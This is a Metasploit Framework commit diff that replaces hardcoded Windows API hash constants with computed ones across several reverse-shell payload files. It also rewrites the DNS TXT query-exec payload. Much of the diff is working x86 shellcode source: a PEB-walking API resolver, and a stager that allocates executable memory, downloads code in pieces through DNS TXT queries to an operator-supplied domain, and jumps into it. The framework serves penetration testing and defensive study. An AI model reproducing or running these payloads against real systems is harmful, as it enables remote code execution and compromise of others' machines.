Skip to content

Commit 3fe1ffb

Browse files
committed
fix(payloads): removing hardcoded block-api hashes
1 parent de5e94d commit 3fe1ffb

File tree

10 files changed

+267
-437
lines changed

10 files changed

+267
-437
lines changed

lib/msf/core/payload/windows/exitfunk.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,13 +33,13 @@ def asm_exitfunk(opts={})
3333
when 'thread'
3434
asm << %Q^
3535
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
36-
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
36+
push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" )
3737
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
3838
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
3939
jl exitfunk_goodbye ; Then just call the exit function...
4040
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
4141
jne exitfunk_goodbye ;
42-
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
42+
mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
4343
exitfunk_goodbye: ; We now perform the actual call to the exit function
4444
push.i8 0 ; push the exit function parameter
4545
push ebx ; push the hash of the exit function

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -442,7 +442,7 @@ def asm_reverse_http(opts={})
442442
else
443443
asm << %Q^
444444
failure:
445-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
445+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
446446
call ebp
447447
^
448448
end

lib/msf/core/payload/windows/reverse_named_pipe.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -147,7 +147,7 @@ def asm_reverse_named_pipe(opts={})
147147
else
148148
asm << %Q^
149149
failure:
150-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
150+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
151151
call ebp
152152
^
153153
end

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -201,7 +201,7 @@ def asm_reverse_tcp(opts={})
201201
else
202202
asm << %Q^
203203
failure:
204-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
204+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
205205
call ebp
206206
^
207207
end

lib/msf/core/payload/windows/reverse_udp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -129,7 +129,7 @@ def asm_reverse_udp(opts={})
129129
else
130130
asm << %Q^
131131
failure:
132-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
132+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
133133
call ebp
134134
^
135135
end

lib/msf/core/payload/windows/reverse_win_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -476,7 +476,7 @@ def asm_reverse_winhttp(opts={})
476476
else
477477
asm << %Q^
478478
failure:
479-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
479+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
480480
call ebp
481481
^
482482
end

lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -59,8 +59,8 @@ def generate_reverse_named_pipe(opts={})
5959
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
6060
call start ; Call start, this pushes the address of 'api_call' onto the stack.
6161
#{asm_block_api}
62-
start:
63-
pop rbp ; block API pointer
62+
start:
63+
pop rbp ; block API pointer
6464
#{asm_reverse_named_pipe(opts)}
6565
^
6666
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
@@ -145,7 +145,7 @@ def asm_reverse_named_pipe(opts={})
145145
else
146146
asm << %Q^
147147
failure:
148-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
148+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
149149
call rbp
150150
^
151151
end

lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -173,7 +173,7 @@ def asm_reverse_tcp(opts={})
173173
else
174174
asm << %Q^
175175
failure:
176-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
176+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
177177
call rbp
178178
^
179179
end

modules/payloads/singles/windows/dns_txt_query_exec.rb

Lines changed: 93 additions & 179 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ module MetasploitModule
99

1010
include Msf::Payload::Windows
1111
include Msf::Payload::Single
12+
include Msf::Payload::Windows::BlockApi
1213

1314
def initialize(info = {})
1415
super(merge_info(info,
@@ -72,185 +73,98 @@ def generate(_opts = {})
7273
bufferreg = "edi"
7374

7475
#create actual payload
75-
payload_data = <<EOS
76-
cld ; clear direction flag
77-
call start ; start main routine
78-
; Stephen Fewer's block_api
79-
; block_api code (Stephen Fewer)
80-
api_call:
81-
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
82-
mov ebp, esp ; Create a new stack frame
83-
xor edx, edx ; Zero EDX
84-
mov edx, fs:[edx+48] ; Get a pointer to the PEB
85-
mov edx, [edx+12] ; Get PEB->Ldr
86-
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
87-
next_mod:
88-
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
89-
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
90-
xor edi, edi ; Clear EDI which will store the hash of the module name
91-
loop_modname: ;
92-
xor eax, eax ; Clear EAX
93-
lodsb ; Read in the next byte of the name
94-
cmp al, 'a' ; Some versions of Windows use lower case module names
95-
jl not_lowercase ;
96-
sub al, 0x20 ; If so normalise to uppercase
97-
not_lowercase: ;
98-
ror edi, 13 ; Rotate right our hash value
99-
add edi, eax ; Add the next byte of the name
100-
loop loop_modname ; Loop until we have read enough
101-
; We now have the module hash computed
102-
push edx ; Save the current position in the module list for later
103-
push edi ; Save the current module hash for later
104-
; Proceed to iterate the export address table,
105-
mov edx, [edx+16] ; Get this modules base address
106-
mov eax, [edx+60] ; Get PE header
107-
add eax, edx ; Add the modules base address
108-
mov eax, [eax+120] ; Get export tables RVA
109-
test eax, eax ; Test if no export address table is present
110-
jz get_next_mod1 ; If no EAT present, process the next module
111-
add eax, edx ; Add the modules base address
112-
push eax ; Save the current modules EAT
113-
mov ecx, [eax+24] ; Get the number of function names
114-
mov ebx, [eax+32] ; Get the rva of the function names
115-
add ebx, edx ; Add the modules base address
116-
; Computing the module hash + function hash
117-
get_next_func: ;
118-
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
119-
dec ecx ; Decrement the function name counter
120-
mov esi, [ebx+ecx*4] ; Get rva of next module name
121-
add esi, edx ; Add the modules base address
122-
xor edi, edi ; Clear EDI which will store the hash of the function name
123-
; And compare it to the one we want
124-
loop_funcname: ;
125-
xor eax, eax ; Clear EAX
126-
lodsb ; Read in the next byte of the ASCII function name
127-
ror edi, 13 ; Rotate right our hash value
128-
add edi, eax ; Add the next byte of the name
129-
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
130-
jne loop_funcname ; If we have not reached the null terminator, continue
131-
add edi, [ebp-8] ; Add the current module hash to the function hash
132-
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
133-
jnz get_next_func ; Go compute the next function hash if we have not found it
134-
; If found, fix up stack, call the function and then value else compute the next one...
135-
pop eax ; Restore the current modules EAT
136-
mov ebx, [eax+36] ; Get the ordinal table rva
137-
add ebx, edx ; Add the modules base address
138-
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
139-
mov ebx, [eax+28] ; Get the function addresses table rva
140-
add ebx, edx ; Add the modules base address
141-
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
142-
add eax, edx ; Add the modules base address to get the functions actual VA
143-
; We now fix up the stack and perform the call to the desired function...
144-
finish:
145-
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
146-
pop ebx ; Clear off the current modules hash
147-
pop ebx ; Clear off the current position in the module list
148-
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
149-
pop ecx ; Pop off the original return address our caller will have pushed
150-
pop edx ; Pop off the hash value our caller will have pushed
151-
push ecx ; Push back the correct return value
152-
jmp eax ; Jump into the required function
153-
; We now automagically return to the correct caller...
154-
get_next_mod: ;
155-
pop eax ; Pop off the current (now the previous) modules EAT
156-
get_next_mod1: ;
157-
pop edi ; Pop off the current (now the previous) modules hash
158-
pop edx ; Restore our position in the module list
159-
mov edx, [edx] ; Get the next module
160-
jmp.i8 next_mod ; Process this module
161-
162-
; actual routine
163-
start:
164-
pop ebp ; get ptr to block_api routine
165-
166-
; first allocate some space in heap to hold payload
167-
alloc_space:
168-
xor eax,eax ; clear EAX
169-
push 0x40 ; flProtect (RWX)
170-
mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
171-
push eax ; flAllocationType MEM_COMMIT (0x1000)
172-
push eax ; dwSize (0x1000)
173-
push 0x0 ; lpAddress
174-
push 0xE553A458 ; kernel32.dll!VirtualAlloc
175-
call ebp
176-
push eax ; save pointer on stack, will be used in memcpy
177-
mov #{bufferreg}, eax ; save pointer, to jump to at the end
178-
179-
180-
;load dnsapi.dll
181-
load_dnsapi:
182-
xor eax,eax ; put part of string (hex) in eax
183-
mov al,0x70
184-
mov ah,0x69
185-
push eax ; Push 'dnsapi' to the stack
186-
push 0x61736e64 ; ...
187-
push esp ; Push a pointer to the 'dnsapi' string on the stack.
188-
push 0x0726774C ; kernel32.dll!LoadLibraryA
189-
call ebp ; LoadLibraryA( "dnsapi" )
190-
191-
;prepare for loop of queries
192-
mov bl,0x61 ; first query, start with 'a'
193-
194-
dnsquery:
195-
jmp.i8 get_dnsname ; get dnsname
196-
197-
get_dnsname_return:
198-
pop eax ; get ptr to dnsname (lpstrName)
199-
mov [eax],bl ; patch sequence number in place
200-
xchg esi,ebx ; save sequence number
201-
push esp ; prepare ppQueryResultsSet
202-
pop ebx ; (put ptr to ptr to stack on stack)
203-
sub ebx,4
204-
push ebx
205-
push 0x0 ; pReserved
206-
push ebx ; ppQueryResultsSet
207-
push 0x0 ; pExtra
208-
push #{queryoptions} ; Options
209-
push #{wType} ; wType
210-
push eax ; lpstrName
211-
push 0xC99CC96A ; dnsapi.dll!DnsQuery_A
212-
call ebp ;
213-
test eax, eax ; query ok ?
214-
jnz jump_to_payload ; no, jump to payload
215-
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
216-
217-
218-
get_dnsname:
219-
call get_dnsname_return
220-
db "a.#{dnsname}", 0x00
221-
222-
get_query_result:
223-
xchg #{bufferreg},edx ; save start of heap
224-
pop #{bufferreg} ; heap structure containing DNS results
225-
mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
226-
cmp eax,1
227-
jne prepare_payload ; jmp to payload
228-
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
229-
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
230-
231-
copy_piece_to_heap:
232-
xchg ebx,esi ; save counter
233-
mov esi,edi ; set source
234-
mov edi,[esp+0x8] ; retrieve heap destination for memcpy
235-
xor ecx,ecx ; clear ecx
236-
mov cl,0xff ; always copy 255 bytes, no matter what
237-
rep movsb ; copy from ESI to EDI
238-
push edi ; save target for next copy
239-
push edi ; 2 more times to make sure it's at esp+8
240-
push edi ;
241-
inc ebx ; increment sequence
242-
xchg #{bufferreg},edx ; restore start of heap
243-
jmp.i8 dnsquery ; try to get the next piece, if any
244-
245-
prepare_payload:
246-
mov #{bufferreg},edx
247-
248-
jump_to_payload:
249-
jmp #{bufferreg} ; jump to it
250-
251-
252-
253-
EOS
76+
payload_data = %Q^
77+
cld ; clear direction flag
78+
call start ; start main routine
79+
#{asm_block_api}
80+
; actual routine
81+
start:
82+
pop ebp ; get ptr to block_api routine
83+
84+
; first allocate some space in heap to hold payload
85+
alloc_space:
86+
xor eax,eax ; clear EAX
87+
push 0x40 ; flProtect (RWX)
88+
mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
89+
push eax ; flAllocationType MEM_COMMIT (0x1000)
90+
push eax ; dwSize (0x1000)
91+
push 0x0 ; lpAddress
92+
push #{Rex::Text.hash("kernel32.dll", "VirtualAlloc")} ; kernel32.dll!VirtualAlloc
93+
call ebp
94+
push eax ; save pointer on stack, will be used in memcpy
95+
mov #{bufferreg}, eax ; save pointer, to jump to at the end
96+
97+
98+
;load dnsapi.dll
99+
load_dnsapi:
100+
xor eax,eax ; put part of string (hex) in eax
101+
mov al,0x70
102+
mov ah,0x69
103+
push eax ; Push 'dnsapi' to the stack
104+
push 0x61736e64 ; ...
105+
push esp ; Push a pointer to the 'dnsapi' string on the stack.
106+
push #{Rex::Text.hash("kernel32.dll", "LoadLibraryA")} ; kernel32.dll!LoadLibraryA
107+
call ebp ; LoadLibraryA( "dnsapi" )
108+
109+
;prepare for loop of queries
110+
mov bl,0x61 ; first query, start with 'a'
111+
112+
dnsquery:
113+
jmp.i8 get_dnsname ; get dnsname
114+
115+
get_dnsname_return:
116+
pop eax ; get ptr to dnsname (lpstrName)
117+
mov [eax],bl ; patch sequence number in place
118+
xchg esi,ebx ; save sequence number
119+
push esp ; prepare ppQueryResultsSet
120+
pop ebx ; (put ptr to ptr to stack on stack)
121+
sub ebx,4
122+
push ebx
123+
push 0x0 ; pReserved
124+
push ebx ; ppQueryResultsSet
125+
push 0x0 ; pExtra
126+
push #{queryoptions} ; Options
127+
push #{wType} ; wType
128+
push eax ; lpstrName
129+
push #{Rex::Text.hash("dnsapi.dll", "DnsQuery_A")} ; dnsapi.dll!DnsQuery_A
130+
call ebp ;
131+
test eax, eax ; query ok ?
132+
jnz jump_to_payload ; no, jump to payload
133+
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
134+
135+
get_dnsname:
136+
call get_dnsname_return
137+
db "a.#{dnsname}", 0x00
138+
139+
get_query_result:
140+
xchg #{bufferreg},edx ; save start of heap
141+
pop #{bufferreg} ; heap structure containing DNS results
142+
mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
143+
cmp eax,1
144+
jne prepare_payload ; jmp to payload
145+
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
146+
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
147+
148+
copy_piece_to_heap:
149+
xchg ebx,esi ; save counter
150+
mov esi,edi ; set source
151+
mov edi,[esp+0x8] ; retrieve heap destination for memcpy
152+
xor ecx,ecx ; clear ecx
153+
mov cl,0xff ; always copy 255 bytes, no matter what
154+
rep movsb ; copy from ESI to EDI
155+
push edi ; save target for next copy
156+
push edi ; 2 more times to make sure it's at esp+8
157+
push edi ;
158+
inc ebx ; increment sequence
159+
xchg #{bufferreg},edx ; restore start of heap
160+
jmp.i8 dnsquery ; try to get the next piece, if any
161+
162+
prepare_payload:
163+
mov #{bufferreg},edx
164+
165+
jump_to_payload:
166+
jmp #{bufferreg} ; jump to it
167+
^
254168
self.assembly = payload_data
255169
super
256170
end

0 commit comments

Comments
 (0)